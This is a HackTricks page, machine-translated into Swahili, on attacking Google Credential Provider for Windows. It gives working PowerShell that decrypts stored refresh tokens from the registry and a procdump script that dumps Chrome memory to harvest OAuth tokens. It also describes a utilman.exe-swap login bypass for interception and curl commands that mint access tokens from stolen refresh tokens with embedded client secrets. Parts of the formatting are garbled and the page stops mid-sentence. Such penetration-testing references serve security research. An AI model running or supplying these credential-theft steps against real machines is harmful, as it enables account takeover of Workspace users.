GCPW - Google Credential Provider for Windows

Support HackTricks

Basic Information

Hii ni njia moja ya kuingia ambayo Google Workspaces inatoa ili watumiaji waweze kuingia kwenye kompyuta zao za Windows kwa kutumia vithibitisho vyao vya Workspace. Zaidi ya hayo, hii itahifadhi tokeni za kufikia Google Workspace katika maeneo mengine kwenye PC.

Kumbuka kwamba Winpeas ina uwezo wa kugundua GCPW, kupata habari kuhusu usanidi na hata tokeni.

GCPW - MitM

Wakati mtumiaji anapofikia PC ya Windows iliyosawazishwa na Google Workspace kupitia GCPW itahitaji kukamilisha fomu ya kawaida ya kuingia. Fomu hii ya kuingia itarudisha msimbo wa OAuth ambao PC itabadilisha kwa tokeni ya upya katika ombi kama:

POST /oauth2/v4/token HTTP/2
Host: www.googleapis.com
Content-Length: 311
Content-Type: application/x-www-form-urlencoded
[...headers...]

scope=https://www.google.com/accounts/OAuthLogin
&grant_type=authorization_code
&client_id=77185425430.apps.googleusercontent.com
&client_secret=OTJgUOQcT7lO7GsGZq2G4IlT
&code=4/0AVG7fiQ1NKncRzNrrGjY5S02wBWBJxV9kUNSKvB1EnJDCWyDmfZvelqKp0zx8jRGmR7LUw
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
&device_type=chrome

New lines have been added to make it more readable.

Ili kufanya MitM, ilikuwa inawezekana kwa kufunga Proxifier kwenye PC, kubadilisha utilman.exe binary na cmd.exe na kutekeleza vipengele vya upatikanaji kwenye ukurasa wa kuingia wa Windows, ambayo itatekeleza CMD kutoka ambayo unaweza kuanzisha na kuunda Proxifier. Usisahau kuzuia trafiki ya QUICK UDP katika Proxifier ili ipunguzwe kwa mawasiliano ya TCP na uweze kuiona.

Pia tengeneza katika "Serviced and other users" chaguo zote mbili na usakinishe cheti cha Burp CA kwenye Windows.

Zaidi ya hayo, kuongeza funguo enable_verbose_logging = 1 na log_file_path = C:\Public\gcpw.log katika HKLM:\SOFTWARE\Google\GCPW inawezekana kuhifadhi baadhi ya kumbukumbu.

GCPW - Alama ya Kidole

Inawezekana kuangalia ikiwa GCPW imewekwa kwenye kifaa kwa kuangalia ikiwa mchakato ufuatao upo au ikiwa funguo za rejista zifuatazo zipo:

# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running."
} else {
Write-Output "The process gcpw_xtension.exe is not running."
}

# Check if HKLM\SOFTWARE\Google\GCPW\Users exists
$gcpwHKLMPath = "HKLM:\SOFTWARE\Google\GCPW\Users"
if (Test-Path $gcpwHKLMPath) {
Write-Output "GCPW is installed: The key $gcpwHKLMPath exists."
} else {
Write-Output "GCPW is not installed: The key $gcpwHKLMPath does not exist."
}

# Check if HKCU\SOFTWARE\Google\Accounts exists
$gcpwHKCUPath = "HKCU:\SOFTWARE\Google\Accounts"
if (Test-Path $gcpwHKCUPath) {
Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists."
} else {
Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
}

Katika HKCU:\SOFTWARE\Google\Accounts inawezekana kufikia barua pepe ya mtumiaji na refresh token iliyosimbwa ikiwa mtumiaji amejiandikisha hivi karibuni.

Katika HKLM:\SOFTWARE\Google\GCPW\Users inawezekana kupata domains ambazo zinaruhusiwa kuingia katika ufunguo domains_allowed na katika funguo ndogo inawezekana kupata taarifa kuhusu mtumiaji kama barua pepe, picha, jina la mtumiaji, muda wa token, mkono wa token...

Mkono wa token ni token inayaanza na eth. na kutoka kwake inaweza kutolewa taarifa fulani kwa ombi kama:

curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
-d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg'
# Example response
{
"audience": "77185425430.apps.googleusercontent.com",
"scope": "https://www.google.com/accounts/OAuthLogin",
"expires_in": 12880152
}

Pia inawezekana kupata kushughulikia tokeni ya tokeni ya ufikiaji kwa ombi kama hili:

curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
-d 'access_token=<access token>'
# Example response
{
"issued_to": "77185425430.apps.googleusercontent.com",
"audience": "77185425430.apps.googleusercontent.com",
"scope": "https://www.google.com/accounts/OAuthLogin",
"expires_in": 1327,
"access_type": "offline",
"token_handle": "eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg"
}

Afaik haiwezekani kupata token ya refresher au token ya ufikiaji kutoka kwa token handle.

Zaidi ya hayo, faili C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse ni json inayoshikilia taarifa za mipangilio tofauti kama enableDmEnrollment, enableGcpAutoUpdate, enableMultiUserLogin (ikiwa watumiaji kadhaa kutoka Workspace wanaweza kuingia kwenye kompyuta) na validityPeriodDays (idadi ya siku ambazo mtumiaji hahitaji kujithibitisha tena moja kwa moja na Google).

GCPW - Pata Tokens

GCPW - Token za Kurefresh katika Registry

Ndani ya registry HKCU:\SOFTWARE\Google\Accounts inaweza kuwa inawezekana kupata akaunti kadhaa zikiwa na refresh_token iliyosimbwa ndani. Njia ProtectedData.Unprotect inaweza kuisambua kwa urahisi.

Pata HKCU:\SOFTWARE\Google\Accounts data na usambue refresh_tokens

```powershell # Import required namespace for decryption Add-Type -AssemblyName System.Security

Base registry path

$baseKey = "HKCU:\SOFTWARE\Google\Accounts"

Function to search and decrypt refresh_token values

function Get-RegistryKeysAndDecryptTokens { param ( [string]$keyPath )

Get all values within the current key

$registryKey = Get-Item -Path $keyPath $foundToken = $false

Loop through properties to find refresh_token

foreach ($property in $registryKey.Property) { if ($property -eq "refresh_token") { $foundToken = $true try {

Get the raw bytes of the refresh_token from the registry

$encryptedTokenBytes = (Get-ItemProperty -Path $keyPath -Name $property).$property

Decrypt the bytes using ProtectedData.Unprotect

$decryptedTokenBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedTokenBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) $decryptedToken = [System.Text.Encoding]::UTF8.GetString($decryptedTokenBytes)

Write-Output "Path: $keyPath" Write-Output "Decrypted refresh_token: $decryptedToken" Write-Output "-----------------------------" } catch { Write-Output "Path: $keyPath" Write-Output "Failed to decrypt refresh_token: $($_.Exception.Message)" Write-Output "-----------------------------" } } }

Recursively process all subkeys

Get-ChildItem -Path $keyPath | ForEach-Object { Get-RegistryKeysAndDecryptTokens -keyPath $_.PSPath } }

Start the search from the base key

Get-RegistryKeysAndDecryptTokens -keyPath $baseKey

</details>

Mfano wa nje:

<div data-gb-custom-block data-tag="code" data-overflow='wrap'>

Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI


</div>

Kama ilivyoelezwa katika [**hii video**](https://www.youtube.com/watch?v=FEQxHRRP\_5I), ikiwa huwezi kupata token katika rejista, inawezekana kubadilisha thamani (au kufuta) kutoka **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** na wakati mtumiaji atakapofikia kompyuta tena atahitaji kuingia tena na **token itahifadhiwa katika rejista ya awali**.

### GCPW - Token za Kurefresh Disk

Faili **`%LocalAppData%\Google\Chrome\User Data\Local State`** inahifadhi ufunguo wa kufungua **`refresh_tokens`** zilizoko ndani ya **profaili za Google Chrome** za mtumiaji kama:

* `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
* `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`

Inawezekana kupata baadhi ya **C# code** inayofikia token hizi kwa njia ya kufunguliwa katika [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe).

Zaidi ya hayo, usimbuaji unaweza kupatikana katika code hii: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216)

Inaweza kuonekana kuwa AESGCM inatumika, token iliyosimbwa inaanza na **toleo** (**`v10`** kwa wakati huu), kisha ina [**12B za nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L42), na kisha ina **cypher-text** yenye **mac ya mwisho ya 16B**.

### GCPW - Kutupa token kutoka kwenye kumbukumbu za michakato

Script ifuatayo inaweza kutumika kutupa kila **mchakato wa Chrome** kwa kutumia `procdump`, kutoa **nyuzi** na kisha **kutafuta** nyuzi zinazohusiana na **token za ufikiaji na kurefresh**. Ikiwa Chrome imeunganishwa na tovuti yoyote ya Google, baadhi ya **mchakato utaweka token za kurefresh na/au ufikiaji katika kumbukumbu!**

<details>

<summary>Tupa michakato ya Chrome na tafuta token</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"

# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)

# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}

# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id

# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}

# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText   = $matchInfo.Line.Trim()
FilePath   = $matchInfo.Path
}
}
}
}

foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}

Write-Output ""
}
}

Remove-Item -Path $dumpFolder -Recurse -Force

Nilijaribu sawa na gcpw_extension.exe lakini haikupata token yoyote.

Kwa sababu fulani, baadhi ya token za ufikiaji zilizotolewa hazitakuwa halali (ingawa baadhi zitakuwa). Nilijaribu script ifuatayo kuondoa herufi 1 kwa 1 ili kujaribu kupata token halali kutoka kwenye dump. Haikuniwezesha kupata halali, lakini huenda ikasaidia:

Angalia token ya ufikiaji kwa kuondoa herufi 1 kwa 1

```bash #!/bin/bash

Define the initial access token

access_token="ya29.a0AcM612wWX6Pe3Pc6ApZYknGs5n66W1Hr1CQvF_L_pIm3uZaXWisWFabzxheYCHErRn28l2UOJuAbMzfn1TUpSKqvYvlhXJpxQsKEtwhYXzN2BZdOQNji0EXfF7po1_0WaxhwqOiE0CFQciiL8uAmkRsoXhq9ekC_S8xLrODZ2yKdDR6gSFULWaiIG-bOCFx3DkbOdbjAk-U4aN1WbglUAJdLZh7DMzSucIIZwKWvBxqqajSAjrdW0mRNVN2IfkcVLPndwj7fQJV2bQaCgYKAbQSAQ4SFQHGX2MiPuU1D-9-YHVzaFlUo_RwXA0277"

Define the URL for the request

url="https://www.googleapis.com/oauth2/v1/tokeninfo"

Loop until the token is 20 characters or the response doesn't contain "error_description"

while [ ${#access_token} -gt 20 ]; do

Make the request and capture the response

response=$(curl -s -H "Content-Type: application/x-www-form-urlencoded" -d "access_token=$access_token" $url)

Check if the response contains "error_description"

if [[ ! "$response" =~ "error_description" ]]; then echo "Success: Token is valid" echo "Final token: $access_token" echo "Response: $response" exit 0 fi

Remove the last character from the token

access_token=${access_token:0:-1}

echo "Token length: ${#access_token}" done

echo "Error: Token invalid or too short"

</details>

### GCPW - Kutengeneza alama za ufikiaji kutoka kwa alama za upya

Kwa kutumia alama ya upya, inawezekana kutengeneza alama za ufikiaji kwa kutumia hiyo na kitambulisho cha mteja na siri ya mteja zilizoainishwa katika amri ifuatayo:
```bash
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token

GCPW - Scopes

Kumbuka kwamba hata ukiwa na token ya kusasisha, si rahisi kuomba scope yoyote kwa token ya ufikiaji kwani unaweza tu kuomba scopes zinazoungwa mkono na programu ambapo unazalisha token ya ufikiaji.

Pia, token ya kusasisha si halali katika kila programu.

Kwa default GCPW haitaweza kupata kama mtumiaji kwa kila scope ya OAuth inay posible, hivyo kutumia script ifuatayo tunaweza kupata scopes ambazo zinaweza kutumika na refresh_token kuzalisha access_token:

Last updated